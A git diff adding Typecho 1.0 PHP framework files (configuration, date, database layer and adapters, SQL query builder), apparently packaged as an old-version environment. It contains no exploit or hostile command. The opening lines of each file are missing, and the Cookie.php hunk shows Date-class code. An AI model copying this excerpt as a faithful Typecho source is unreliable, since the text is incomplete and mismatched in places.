'unknown'; + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Config.php b/Typecho/1.0/php-fpm/src/var/Typecho/Config.php new file mode 100755 index 000000000..0e58fc74b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Config.php @@ -0,0 +1,198 @@ +setDefault($config); + } + + /** + * 工厂模式实例化一个当前配置 + * + * @access public + * @param array $config 配置列表 + * @return Typecho_Config + */ + public static function factory($config = array()) + { + return new Typecho_Config($config); + } + + /** + * 设置默认的配置 + * + * @access public + * @param mixed $config 配置信息 + * @param boolean $replace 是否替换已经存在的信息 + * @return void + */ + public function setDefault($config, $replace = false) + { + if (empty($config)) { + return; + } + + /** 初始化参数 */ + if (is_string($config)) { + parse_str($config, $params); + } else { + $params = $config; + } + + /** 设置默认参数 */ + foreach ($params as $name => $value) { + if ($replace || !array_key_exists($name, $this->_currentConfig)) { + $this->_currentConfig[$name] = $value; + } + } + } + + /** + * 重设指针 + * + * @access public + * @return void + */ + public function rewind() + { + reset($this->_currentConfig); + } + + /** + * 返回当前值 + * + * @access public + * @return mixed + */ + public function current() + { + return current($this->_currentConfig); + } + + /** + * 指针后移一位 + * + * @access public + * @return void + */ + public function next() + { + next($this->_currentConfig); + } + + /** + * 获取当前指针 + * + * @access public + * @return mixed + */ + public function key() + { + return key($this->_currentConfig); + } + + /** + * 验证当前值是否到达最后 + * + * @access public + * @return boolean + */ + public function valid() + { + return false !== $this->current(); + } + + /** + * 魔术函数获取一个配置值 + * + * @access public + * @param string $name 配置名称 + * @return mixed + */ + public function __get($name) + { + return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL; + } + + /** + * 魔术函数设置一个配置值 + * + * @access public + * @param string $name 配置名称 + * @param mixed $value 配置值 + * @return void + */ + public function __set($name, $value) + { + $this->_currentConfig[$name] = $value; + } + + /** + * 直接输出默认配置值 + * + * @access public + * @param string $name 配置名称 + * @param array $args 参数 + * @return void + */ + public function __call($name, $args) + { + echo $this->_currentConfig[$name]; + } + + /** + * 判断当前配置值是否存在 + * + * @access public + * @param string $name 配置名称 + * @return boolean + */ + public function __isSet($name) + { + return isset($this->_currentConfig[$name]); + } + + /** + * 魔术方法,打印当前配置数组 + * + * @access public + * @return string + */ + public function __toString() + { + return serialize($this->_currentConfig); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Cookie.php b/Typecho/1.0/php-fpm/src/var/Typecho/Cookie.php new file mode 100755 index 000000000..8c5e59eca --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Cookie.php @@ -0,0 +1,124 @@ +timeStamp = $gmtTime + (self::$timezoneOffset - self::$serverTimezoneOffset); + } + + /** + * 设置当前期望的时区偏移 + * + * @access public + * @param integer $offset + * @return void + */ + public static function setTimezoneOffset($offset) + { + self::$timezoneOffset = $offset; + self::$serverTimezoneOffset = idate('Z'); + } + + /** + * 获取格式化时间 + * + * @access public + * @param string $format 时间格式 + * @return string + */ + public function format($format) + { + return date($format, $this->timeStamp); + } + + /** + * 获取国际化偏移时间 + * + * @access public + * @return string + */ + public function word() + { + return Typecho_I18n::dateWord($this->timeStamp, self::gmtTime() + (self::$timezoneOffset - self::$serverTimezoneOffset)); + } + + /** + * 获取单项数据 + * + * @access public + * @param string $name 名称 + * @return integer + */ + public function __get($name) + { + switch ($name) { + case 'year': + return date('Y', $this->timeStamp); + case 'month': + return date('m', $this->timeStamp); + case 'day': + return date('d', $this->timeStamp); + default: + return; + } + } + + /** + * 获取GMT时间 + * + * @access public + * @return integer + */ + public static function gmtTime() + { + return self::$gmtTimeStamp ? self::$gmtTimeStamp : (self::$gmtTimeStamp = @gmmktime()); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db.php new file mode 100755 index 000000000..df6ab5e64 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db.php @@ -0,0 +1,407 @@ +_adapterName = $adapterName; + + /** 数据库适配器 */ + $adapterName = 'Typecho_Db_Adapter_' . $adapterName; + + if (!call_user_func(array($adapterName, 'isAvailable'))) { + throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); + } + + $this->_prefix = $prefix; + + /** 初始化内部变量 */ + $this->_pool = array(); + $this->_connectedPool = array(); + $this->_config = array(); + + //实例化适配器对象 + $this->_adapter = new $adapterName(); + } + + /** + * 获取适配器名称 + * + * @access public + * @return string + */ + public function getAdapterName() + { + return $this->_adapterName; + } + + /** + * 获取表前缀 + * + * @access public + * @return string + */ + public function getPrefix() + { + return $this->_prefix; + } + + /** + * getConfig + * + * @access public + * @return void + */ + public function getConfig() + { + return $this->_config; + } + + /** + * 获取SQL词法构建器实例化对象 + * + * @return Typecho_Db_Query + */ + public function sql() + { + return new Typecho_Db_Query($this->_adapter, $this->_prefix); + } + + /** + * 为多数据库提供支持 + * + * @access public + * @param Typecho_Db $db 数据库实例 + * @param integer $op 数据库操作 + * @return void + */ + public function addServer($config, $op) + { + $this->_config[] = Typecho_Config::factory($config); + $key = count($this->_config) - 1; + + /** 将连接放入池中 */ + switch ($op) { + case self::READ: + case self::WRITE: + $this->_pool[$op][] = $key; + break; + default: + $this->_pool[self::READ][] = $key; + $this->_pool[self::WRITE][] = $key; + break; + } + } + + /** + * 设置默认数据库对象 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @return void + */ + public static function set(Typecho_Db $db) + { + self::$_instance = $db; + } + + /** + * 获取数据库实例化对象 + * 用静态变量存储实例化的数据库对象,可以保证数据连接仅进行一次 + * + * @return Typecho_Db + * @throws Typecho_Db_Exception + */ + public static function get() + { + if (empty(self::$_instance)) { + /** Typecho_Db_Exception */ + throw new Typecho_Db_Exception('Missing Database Object'); + } + + return self::$_instance; + } + + /** + * 选择查询字段 + * + * @access public + * @param mixed $field 查询字段 + * @return Typecho_Db_Query + */ + public function select() + { + $args = func_get_args(); + return call_user_func_array(array($this->sql(), 'select'), $args ? $args : array('*')); + } + + /** + * 更新记录操作(UPDATE) + * + * @param string $table 需要更新记录的表 + * @return Typecho_Db_Query + */ + public function update($table) + { + return $this->sql()->update($table); + } + + /** + * 删除记录操作(DELETE) + * + * @param string $table 需要删除记录的表 + * @return Typecho_Db_Query + */ + public function delete($table) + { + return $this->sql()->delete($table); + } + + /** + * 插入记录操作(INSERT) + * + * @param string $table 需要插入记录的表 + * @return Typecho_Db_Query + */ + public function insert($table) + { + return $this->sql()->insert($table); + } + + /** + * 执行查询语句 + * + * @param mixed $query 查询语句或者查询对象 + * @param boolean $op 数据库读写状态 + * @param string $action 操作动作 + * @return mixed + */ + public function query($query, $op = self::READ, $action = self::SELECT) + { + /** 在适配器中执行查询 */ + if ($query instanceof Typecho_Db_Query) { + $action = $query->getAttribute('action'); + $op = (self::UPDATE == $action || self::DELETE == $action + || self::INSERT == $action) ? self::WRITE : self::READ; + } else if (!is_string($query)) { + /** 如果query不是对象也不是字符串,那么将其判断为查询资源句柄,直接返回 */ + return $query; + } + + /** 选择连接池 */ + if (!isset($this->_connectedPool[$op])) { + if (empty($this->_pool[$op])) { + /** Typecho_Db_Exception */ + throw new Typecho_Db_Exception('Missing Database Connection'); + } + + //获取相应读或写服务器连接池中的一个 + $selectConnection = rand(0, count($this->_pool[$op]) - 1); + //获取随机获得的连接池配置 + $selectConnectionConfig = $this->_config[$this->_pool[$op][$selectConnection]]; + $selectConnectionHandle = $this->_adapter->connect($selectConnectionConfig); + $this->_connectedPool[$op] = &$selectConnectionHandle; + + } + $handle = $this->_connectedPool[$op]; + + /** 提交查询 */ + $resource = $this->_adapter->query($query, $handle, $op, $action); + + if ($action) { + //根据查询动作返回相应资源 + switch ($action) { + case self::UPDATE: + case self::DELETE: + return $this->_adapter->affectedRows($resource, $handle); + case self::INSERT: + return $this->_adapter->lastInsertId($resource, $handle); + case self::SELECT: + default: + return $resource; + } + } else { + //如果直接执行查询语句则返回资源 + return $resource; + } + } + + /** + * 一次取出所有行 + * + * @param mixed $query 查询对象 + * @param array $filter 行过滤器函数,将查询的每一行作为第一个参数传入指定的过滤器中 + * @return array + */ + public function fetchAll($query, array $filter = NULL) + { + //执行查询 + $resource = $this->query($query, self::READ); + $result = array(); + + /** 取出过滤器 */ + if (!empty($filter)) { + list($object, $method) = $filter; + } + + //取出每一行 + while ($rows = $this->_adapter->fetch($resource)) { + //判断是否有过滤器 + $result[] = $filter ? call_user_func(array(&$object, $method), $rows) : $rows; + } + + return $result; + } + + /** + * 一次取出一行 + * + * @param mixed $query 查询对象 + * @param array $filter 行过滤器函数,将查询的每一行作为第一个参数传入指定的过滤器中 + * @return stdClass + */ + public function fetchRow($query, array $filter = NULL) + { + $resource = $this->query($query, self::READ); + + /** 取出过滤器 */ + if ($filter) { + list($object, $method) = $filter; + } + + return ($rows = $this->_adapter->fetch($resource)) ? + ($filter ? $object->$method($rows) : $rows) : + array(); + } + + /** + * 一次取出一个对象 + * + * @param mixed $query 查询对象 + * @param array $filter 行过滤器函数,将查询的每一行作为第一个参数传入指定的过滤器中 + * @return array + */ + public function fetchObject($query, array $filter = NULL) + { + $resource = $this->query($query, self::READ); + + /** 取出过滤器 */ + if ($filter) { + list($object, $method) = $filter; + } + + return ($rows = $this->_adapter->fetchObject($resource)) ? + ($filter ? $object->$method($rows) : $rows) : + new stdClass(); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter.php new file mode 100755 index 000000000..63170c8c4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter.php @@ -0,0 +1,104 @@ +_dbLink = @mysql_connect($config->host . (empty($config->port) ? '' : ':' . $config->port), + $config->user, $config->password, true)) { + if (@mysql_select_db($config->database, $this->_dbLink)) { + if ($config->charset) { + mysql_query("SET NAMES '{$config->charset}'", $this->_dbLink); + } + return $this->_dbLink; + } + } + + /** 数据库异常 */ + throw new Typecho_Db_Adapter_Exception(@mysql_error($this->_dbLink)); + } + + /** + * 执行数据库查询 + * + * @param string $query 数据库查询SQL字符串 + * @param mixed $handle 连接对象 + * @param integer $op 数据库读写状态 + * @param string $action 数据库动作 + * @throws Typecho_Db_Exception + * @return resource + */ + public function query($query, $handle, $op = Typecho_Db::READ, $action = NULL) + { + if ($resource = @mysql_query($query instanceof Typecho_Db_Query ? $query->__toString() : $query, $handle)) { + return $resource; + } + + /** 数据库异常 */ + throw new Typecho_Db_Query_Exception(@mysql_error($this->_dbLink), mysql_errno($this->_dbLink)); + } + + /** + * 将数据查询的其中一行作为数组取出,其中字段名对应数组键值 + * + * @param resource $resource 查询返回资源标识 + * @return array + */ + public function fetch($resource) + { + return mysql_fetch_assoc($resource); + } + + /** + * 将数据查询的其中一行作为对象取出,其中字段名对应对象属性 + * + * @param resource $resource 查询的资源数据 + * @return object + */ + public function fetchObject($resource) + { + return mysql_fetch_object($resource); + } + + /** + * 引号转义函数 + * + * @param string $string 需要转义的字符串 + * @return string + */ + public function quoteValue($string) + { + return '\'' . str_replace(array('\'', '\\'), array('\'\'', '\\\\'), $string) . '\''; + } + + /** + * 对象引号过滤 + * + * @access public + * @param string $string + * @return string + */ + public function quoteColumn($string) + { + return '`' . $string . '`'; + } + + /** + * 合成查询语句 + * + * @access public + * @param array $sql 查询对象词法数组 + * @return string + */ + public function parseSelect(array $sql) + { + if (!empty($sql['join'])) { + foreach ($sql['join'] as $val) { + list($table, $condition, $op) = $val; + $sql['table'] = "{$sql['table']} {$op} JOIN {$table} ON {$condition}"; + } + } + + $sql['limit'] = (0 == strlen($sql['limit'])) ? NULL : ' LIMIT ' . $sql['limit']; + $sql['offset'] = (0 == strlen($sql['offset'])) ? NULL : ' OFFSET ' . $sql['offset']; + + return 'SELECT ' . $sql['fields'] . ' FROM ' . $sql['table'] . + $sql['where'] . $sql['group'] . $sql['having'] . $sql['order'] . $sql['limit'] . $sql['offset']; + } + + /** + * 取出最后一次查询影响的行数 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function affectedRows($resource, $handle) + { + return mysql_affected_rows($handle); + } + + /** + * 取出最后一次插入返回的主键值 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function lastInsertId($resource, $handle) + { + return mysql_insert_id($handle); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo.php new file mode 100755 index 000000000..c19eff773 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo.php @@ -0,0 +1,173 @@ +_object = $this->init($config); + $this->_object->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + return $this->_object; + } catch (PDOException $e) { + /** 数据库异常 */ + throw new Typecho_Db_Adapter_Exception($e->getMessage()); + } + } + + /** + * 初始化数据库 + * + * @param Typecho_Config $config 数据库配置 + * @abstract + * @access public + * @return PDO + */ + abstract public function init(Typecho_Config $config); + + /** + * 执行数据库查询 + * + * @param string $query 数据库查询SQL字符串 + * @param mixed $handle 连接对象 + * @param integer $op 数据库读写状态 + * @param string $action 数据库动作 + * @throws Typecho_Db_Exception + * @return resource + */ + public function query($query, $handle, $op = Typecho_Db::READ, $action = NULL) + { + try { + $isQueryObject = $query instanceof Typecho_Db_Query; + $this->_lastTable = $isQueryObject ? $query->getAttribute('table') : NULL; + $resource = $handle->prepare($isQueryObject ? $query->__toString() : $query); + $resource->execute(); + } catch (PDOException $e) { + /** 数据库异常 */ + throw new Typecho_Db_Query_Exception($e->getMessage(), $e->getCode()); + } + + return $resource; + } + + /** + * 将数据查询的其中一行作为数组取出,其中字段名对应数组键值 + * + * @param resource $resource 查询返回资源标识 + * @return array + */ + public function fetch($resource) + { + return $resource->fetch(PDO::FETCH_ASSOC); + } + + /** + * 将数据查询的其中一行作为对象取出,其中字段名对应对象属性 + * + * @param resource $resource 查询的资源数据 + * @return object + */ + public function fetchObject($resource) + { + return $resource->fetchObject(); + } + + /** + * 引号转义函数 + * + * @param string $string 需要转义的字符串 + * @return string + */ + public function quoteValue($string) + { + return $this->_object->quote($string); + } + + /** + * 对象引号过滤 + * + * @access public + * @param string $string + * @return string + */ + public function quoteColumn($string){} + + /** + * 合成查询语句 + * + * @access public + * @param array $sql 查询对象词法数组 + * @return string + */ + public function parseSelect(array $sql){} + + /** + * 取出最后一次查询影响的行数 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function affectedRows($resource, $handle) + { + return $resource->rowCount(); + } + + /** + * 取出最后一次插入返回的主键值 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function lastInsertId($resource, $handle) + { + return $handle->lastInsertId(); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/Mysql.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/Mysql.php new file mode 100755 index 000000000..cf8269df7 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/Mysql.php @@ -0,0 +1,90 @@ +dsn) ? $config->dsn : + "mysql:dbname={$config->database};host={$config->host};port={$config->port}", $config->user, $config->password); + $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true); + $pdo->exec("SET NAMES '{$config->charset}'"); + return $pdo; + } + + /** + * 对象引号过滤 + * + * @access public + * @param string $string + * @return string + */ + public function quoteColumn($string) + { + return '`' . $string . '`'; + } + + /** + * 引号转义函数 + * + * @param string $string 需要转义的字符串 + * @return string + */ + public function quoteValue($string) + { + return '\'' . str_replace(array('\'', '\\'), array('\'\'', '\\\\'), $string) . '\''; + } + + /** + * 合成查询语句 + * + * @access public + * @param array $sql 查询对象词法数组 + * @return string + */ + public function parseSelect(array $sql) + { + if (!empty($sql['join'])) { + foreach ($sql['join'] as $val) { + list($table, $condition, $op) = $val; + $sql['table'] = "{$sql['table']} {$op} JOIN {$table} ON {$condition}"; + } + } + + $sql['limit'] = (0 == strlen($sql['limit'])) ? NULL : ' LIMIT ' . $sql['limit']; + $sql['offset'] = (0 == strlen($sql['offset'])) ? NULL : ' OFFSET ' . $sql['offset']; + + return 'SELECT ' . $sql['fields'] . ' FROM ' . $sql['table'] . + $sql['where'] . $sql['group'] . $sql['having'] . $sql['order'] . $sql['limit'] . $sql['offset']; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/Pgsql.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/Pgsql.php new file mode 100755 index 000000000..90ca1c8d9 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/Pgsql.php @@ -0,0 +1,94 @@ +database};host={$config->host};port={$config->port}", $config->user, $config->password); + $pdo->exec("SET NAMES '{$config->charset}'"); + return $pdo; + } + + /** + * 对象引号过滤 + * + * @access public + * @param string $string + * @return string + */ + public function quoteColumn($string) + { + return '"' . $string . '"'; + } + + /** + * 合成查询语句 + * + * @access public + * @param array $sql 查询对象词法数组 + * @return string + */ + public function parseSelect(array $sql) + { + if (!empty($sql['join'])) { + foreach ($sql['join'] as $val) { + list($table, $condition, $op) = $val; + $sql['table'] = "{$sql['table']} {$op} JOIN {$table} ON {$condition}"; + } + } + + $sql['limit'] = (0 == strlen($sql['limit'])) ? NULL : ' LIMIT ' . $sql['limit']; + $sql['offset'] = (0 == strlen($sql['offset'])) ? NULL : ' OFFSET ' . $sql['offset']; + + return 'SELECT ' . $sql['fields'] . ' FROM ' . $sql['table'] . + $sql['where'] . $sql['group'] . $sql['having'] . $sql['order'] . $sql['limit'] . $sql['offset']; + } + + /** + * 取出最后一次插入返回的主键值 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function lastInsertId($resource, $handle) + { + /** 查看是否存在序列,可能需要更严格的检查 */ + if ($handle->query('SELECT oid FROM pg_class WHERE relname = ' . $this->quoteValue($this->_lastTable . '_seq'))->fetchAll()) { + return $handle->lastInsertId($this->_lastTable . '_seq'); + } + + return 0; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/SQLite.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/SQLite.php new file mode 100755 index 000000000..b1f5c70ec --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pdo/SQLite.php @@ -0,0 +1,106 @@ +file}"); + $this->_isSQLite2 = version_compare($pdo->getAttribute(PDO::ATTR_SERVER_VERSION), '3.0.0', '<'); + return $pdo; + } + + /** + * @param resource $resource + * @return array + */ + public function fetch($resource) + { + return Typecho_Common::filterSQLite2ColumnName(parent::fetch($resource)); + } + + /** + * @param resource $resource + * @return object + */ + public function fetchObject($resource) + { + return (object) $this->fetch($resource); + } + + /** + * 对象引号过滤 + * + * @access public + * @param string $string + * @return string + */ + public function quoteColumn($string) + { + return '"' . $string . '"'; + } + + /** + * 合成查询语句 + * + * @access public + * @param array $sql 查询对象词法数组 + * @return string + */ + public function parseSelect(array $sql) + { + if (!empty($sql['join'])) { + foreach ($sql['join'] as $val) { + list($table, $condition, $op) = $val; + $sql['table'] = "{$sql['table']} {$op} JOIN {$table} ON {$condition}"; + } + } + + $sql['limit'] = (0 == strlen($sql['limit'])) ? NULL : ' LIMIT ' . $sql['limit']; + $sql['offset'] = (0 == strlen($sql['offset'])) ? NULL : ' OFFSET ' . $sql['offset']; + + $query = 'SELECT ' . $sql['fields'] . ' FROM ' . $sql['table'] . + $sql['where'] . $sql['group'] . $sql['having'] . $sql['order'] . $sql['limit'] . $sql['offset']; + + if ($this->_isSQLite2) { + $query = Typecho_Common::filterSQLite2CountQuery($query); + } + + return $query; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pgsql.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pgsql.php new file mode 100755 index 000000000..e711f4df1 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/Pgsql.php @@ -0,0 +1,184 @@ +_dbLink = @pg_connect("host={$config->host} port={$config->port} dbname={$config->database} user={$config->user} password={$config->password}")) { + if ($config->charset) { + pg_query($this->_dbLink, "SET NAMES '{$config->charset}'"); + } + return $this->_dbLink; + } + + /** 数据库异常 */ + throw new Typecho_Db_Adapter_Exception(@pg_last_error($this->_dbLink)); + } + + /** + * 执行数据库查询 + * + * @param string $query 数据库查询SQL字符串 + * @param mixed $handle 连接对象 + * @param integer $op 数据库读写状态 + * @param string $action 数据库动作 + * @throws Typecho_Db_Exception + * @return resource + */ + public function query($query, $handle, $op = Typecho_Db::READ, $action = NULL) + { + $isQueryObject = $query instanceof Typecho_Db_Query; + $this->_lastTable = $isQueryObject ? $query->getAttribute('table') : NULL; + if ($resource = @pg_query($handle, $isQueryObject ? $query->__toString() : $query)) { + return $resource; + } + + /** 数据库异常 */ + throw new Typecho_Db_Query_Exception(@pg_last_error($this->_dbLink), + pg_result_error_field(pg_get_result($this->_dbLink), PGSQL_DIAG_SQLSTATE)); + } + + /** + * 将数据查询的其中一行作为数组取出,其中字段名对应数组键值 + * + * @param resource $resource 查询返回资源标识 + * @return array + */ + public function fetch($resource) + { + return pg_fetch_assoc($resource); + } + + /** + * 将数据查询的其中一行作为对象取出,其中字段名对应对象属性 + * + * @param resource $resource 查询的资源数据 + * @return object + */ + public function fetchObject($resource) + { + return pg_fetch_object($resource); + } + + /** + * 引号转义函数 + * + * @param string $string 需要转义的字符串 + * @return string + */ + public function quoteValue($string) + { + return '\'' . pg_escape_string($string) . '\''; + } + + /** + * 对象引号过滤 + * + * @access public + * @param string $string + * @return string + */ + public function quoteColumn($string) + { + return '"' . $string . '"'; + } + + /** + * 合成查询语句 + * + * @access public + * @param array $sql 查询对象词法数组 + * @return string + */ + public function parseSelect(array $sql) + { + if (!empty($sql['join'])) { + foreach ($sql['join'] as $val) { + list($table, $condition, $op) = $val; + $sql['table'] = "{$sql['table']} {$op} JOIN {$table} ON {$condition}"; + } + } + + $sql['limit'] = (0 == strlen($sql['limit'])) ? NULL : ' LIMIT ' . $sql['limit']; + $sql['offset'] = (0 == strlen($sql['offset'])) ? NULL : ' OFFSET ' . $sql['offset']; + + return 'SELECT ' . $sql['fields'] . ' FROM ' . $sql['table'] . + $sql['where'] . $sql['group'] . $sql['having'] . $sql['order'] . $sql['limit'] . $sql['offset']; + } + + /** + * 取出最后一次查询影响的行数 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function affectedRows($resource, $handle) + { + return pg_affected_rows($resource); + } + + /** + * 取出最后一次插入返回的主键值 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function lastInsertId($resource, $handle) + { + /** 查看是否存在序列,可能需要更严格的检查 */ + if (pg_fetch_assoc(pg_query($handle, 'SELECT oid FROM pg_class WHERE relname = ' . $this->quoteValue($this->_lastTable . '_seq')))) { + return pg_fetch_result(pg_query($handle, 'SELECT CURRVAL(' . $this->quoteValue($this->_lastTable . '_seq') . ')'), 0, 0); + } + + return 0; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/SQLite.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/SQLite.php new file mode 100755 index 000000000..537819144 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Adapter/SQLite.php @@ -0,0 +1,166 @@ +_dbHandle = sqlite_open($config->file, 0666, $error)) { + return $this->_dbHandle; + } + + /** 数据库异常 */ + throw new Typecho_Db_Adapter_Exception($error); + } + + /** + * 执行数据库查询 + * + * @param string $query + * @param mixed $handle + * @param int $op + * @param null $action + * @return resource|SQLiteResult + * @throws Typecho_Db_Query_Exception + */ + public function query($query, $handle, $op = Typecho_Db::READ, $action = NULL) + { + if ($resource = @sqlite_query($query instanceof Typecho_Db_Query ? $query->__toString() : $query, $handle)) { + return $resource; + } + + /** 数据库异常 */ + $errorCode = sqlite_last_error($this->_dbHandle); + throw new Typecho_Db_Query_Exception(sqlite_error_string($errorCode), $errorCode); + } + + /** + * 将数据查询的其中一行作为数组取出,其中字段名对应数组键值 + * + * @param resource $resource 查询返回资源标识 + * @return array + */ + public function fetch($resource) + { + return Typecho_Common::filterSQLite2ColumnName(sqlite_fetch_array($resource, SQLITE_ASSOC)); + } + + /** + * 将数据查询的其中一行作为对象取出,其中字段名对应对象属性 + * + * @param resource $resource 查询的资源数据 + * @return object + */ + public function fetchObject($resource) + { + return (object) $this->fetch($resource); + } + + /** + * 引号转义函数 + * + * @param string $string 需要转义的字符串 + * @return string + */ + public function quoteValue($string) + { + return '\'' . str_replace('\'', '\'\'', $string) . '\''; + } + + /** + * 对象引号过滤 + * + * @access public + * @param string $string + * @return string + */ + public function quoteColumn($string) + { + return '"' . $string . '"'; + } + + /** + * 合成查询语句 + * + * @access public + * @param array $sql 查询对象词法数组 + * @return string + */ + public function parseSelect(array $sql) + { + if (!empty($sql['join'])) { + foreach ($sql['join'] as $val) { + list($table, $condition, $op) = $val; + $sql['table'] = "{$sql['table']} {$op} JOIN {$table} ON {$condition}"; + } + } + + $sql['limit'] = (0 == strlen($sql['limit'])) ? NULL : ' LIMIT ' . $sql['limit']; + $sql['offset'] = (0 == strlen($sql['offset'])) ? NULL : ' OFFSET ' . $sql['offset']; + + return Typecho_Common::filterSQLite2CountQuery('SELECT ' . $sql['fields'] . ' FROM ' . $sql['table'] . + $sql['where'] . $sql['group'] . $sql['having'] . $sql['order'] . $sql['limit'] . $sql['offset']); + } + + /** + * 取出最后一次查询影响的行数 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function affectedRows($resource, $handle) + { + return sqlite_changes($handle); + } + + /** + * 取出最后一次插入返回的主键值 + * + * @param resource $resource 查询的资源数据 + * @param mixed $handle 连接对象 + * @return integer + */ + public function lastInsertId($resource, $handle) + { + return sqlite_last_insert_rowid($handle); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Exception.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Exception.php new file mode 100755 index 000000000..460c70c0b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Exception.php @@ -0,0 +1,17 @@ +select('posts', 'post_id, post_title') + * ->where('post_id = %d', 1) + * ->limit(1); + * echo $query; + * 打印的结果将是 + * SELECT post_id, post_title FROM posts WHERE 1=1 AND post_id = 1 LIMIT 1 + * + * + * @package Db + */ +class Typecho_Db_Query +{ + /** 数据库关键字 */ + const KEYWORDS = '*PRIMARY|AND|OR|LIKE|BINARY|BY|DISTINCT|AS|IN|IS|NULL'; + + /** + * 默认字段 + * + * @var array + * @access private + */ + private static $_default = array( + 'action' => NULL, + 'table' => NULL, + 'fields' => '*', + 'join' => array(), + 'where' => NULL, + 'limit' => NULL, + 'offset' => NULL, + 'order' => NULL, + 'group' => NULL, + 'having' => NULL, + 'rows' => array(), + ); + + /** + * 数据库适配器 + * + * @var Typecho_Db_Adapter + */ + private $_adapter; + + /** + * 查询语句预结构,由数组构成,方便组合为SQL查询字符串 + * + * @var array + */ + private $_sqlPreBuild; + + /** + * 前缀 + * + * @access private + * @var string + */ + private $_prefix; + + /** + * 构造函数,引用数据库适配器作为内部数据 + * + * @param Typecho_Db_Adapter $adapter 数据库适配器 + * @param string $prefix 前缀 + * @return void + */ + public function __construct(Typecho_Db_Adapter $adapter, $prefix) + { + $this->_adapter = &$adapter; + $this->_prefix = $prefix; + + $this->_sqlPreBuild = self::$_default; + } + + /** + * 过滤表前缀,表前缀由table.构成 + * + * @param string $string 需要解析的字符串 + * @return string + */ + private function filterPrefix($string) + { + return (0 === strpos($string, 'table.')) ? substr_replace($string, $this->_prefix, 0, 6) : $string; + } + + /** + * 过滤数组键值 + * + * @access private + * @param string $str 待处理字段值 + * @return string + */ + private function filterColumn($str) + { + $str = $str . ' 0'; + $length = strlen($str); + $lastIsAlnum = false; + $result = ''; + $word = ''; + $split = ''; + $quotes = 0; + + for ($i = 0; $i < $length; $i ++) { + $cha = $str[$i]; + + if (ctype_alnum($cha) || false !== strpos('_*', $cha)) { + if (!$lastIsAlnum) { + if ($quotes > 0 && !ctype_digit($word) && '.' != $split + && false === strpos(self::KEYWORDS, strtoupper($word))) { + $word = $this->_adapter->quoteColumn($word); + } else if ('.' == $split && 'table' == $word) { + $word = $this->_prefix; + $split = ''; + } + + $result .= $word . $split; + $word = ''; + $quotes = 0; + } + + $word .= $cha; + $lastIsAlnum = true; + } else { + + if ($lastIsAlnum) { + + if (0 == $quotes) { + if (false !== strpos(' ,)=<>.+-*/', $cha)) { + $quotes = 1; + } else if ('(' == $cha) { + $quotes = -1; + } + } + + $split = ''; + } + + $split .= $cha; + $lastIsAlnum = false; + } + + } + + return $result; + } + + /** + * 从参数中合成查询字段 + * + * @access private + * @param array $parameters + * @return string + */ + private function getColumnFromParameters(array $parameters) + { + $fields = array(); + + foreach ($parameters as $value) { + if (is_array($value)) { + foreach ($value as $key => $val) { + $fields[] = $key . ' AS ' . $val; + } + } else { + $fields[] = $value; + } + } + + return $this->filterColumn(implode(' , ', $fields)); + } + + /** + * 转义参数 + * + * @param array $values + * @access protected + * @return array + */ + protected function quoteValues(array $values) + { + foreach ($values as &$value) { + if (is_array($value)) { + $value = '(' . implode(',', array_map(array($this->_adapter, 'quoteValue'), $value)) . ')'; + } else { + $value = $this->_adapter->quoteValue($value); + } + 